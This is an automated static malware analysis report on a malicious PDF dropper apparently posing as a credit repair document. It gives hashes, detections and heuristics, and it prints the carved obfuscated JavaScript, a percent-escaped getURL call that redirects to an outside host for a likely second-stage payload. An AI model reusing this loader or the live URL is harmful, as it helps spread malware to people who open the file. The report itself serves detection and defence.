Malicious PDF — malware analysis report

Static analysis result for SHA-256 a1749dd1bed9513f…

MALICIOUS

PDF

39.2 KB Created: 2010-12-28 19:21:03 +02:00 Authoring application: Credit Report Repair (via mPDF 5.0) First seen: 2020-05-14
MD5: 2ed9fcad8ed14f2bdb0fb477439dc409 SHA-1: 3358b98469e8e480361f00bf0a50a5c14b336e08 SHA-256: a1749dd1bed9513f29bf5a0669a66be70c132a56e6e4eabd61a95938b8b86eae
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment T1204.002 Malicious File

The PDF contains obfuscated JavaScript that utilizes an unescape function and a getURL redirector. This script is designed to redirect the user to the URL http://searchglobalsite.com/in.cgi?11, likely to download a second-stage payload. The ML classifier and ClamAV detection strongly indicate malicious intent, classifying it as a PDF dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9991

Heuristics 7

  • ClamAV: Pdf.Dropper.Agent-7127810-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7127810-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /S /JavaScript
    /JS (this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31')))
    >>
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchglobalsite.com/in.cgi?11 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0027_000.js pdf-javascript-stream PDF /JS object 27 at offset 0x94D9 136 bytes
SHA-256: 357d06d70777f397a54fd04180a5ee36f36a8ec5c7cbbafdfab41f20901b25ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31'))
javascript_obj0027_001.js pdf-javascript-stream PDF /JS object 27 at offset 0x94D9 134 bytes
SHA-256: 607a0753f2d28ea7a383d2e729ee9a1eeb69db22eafb74fa3e1d444ae047c123
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31'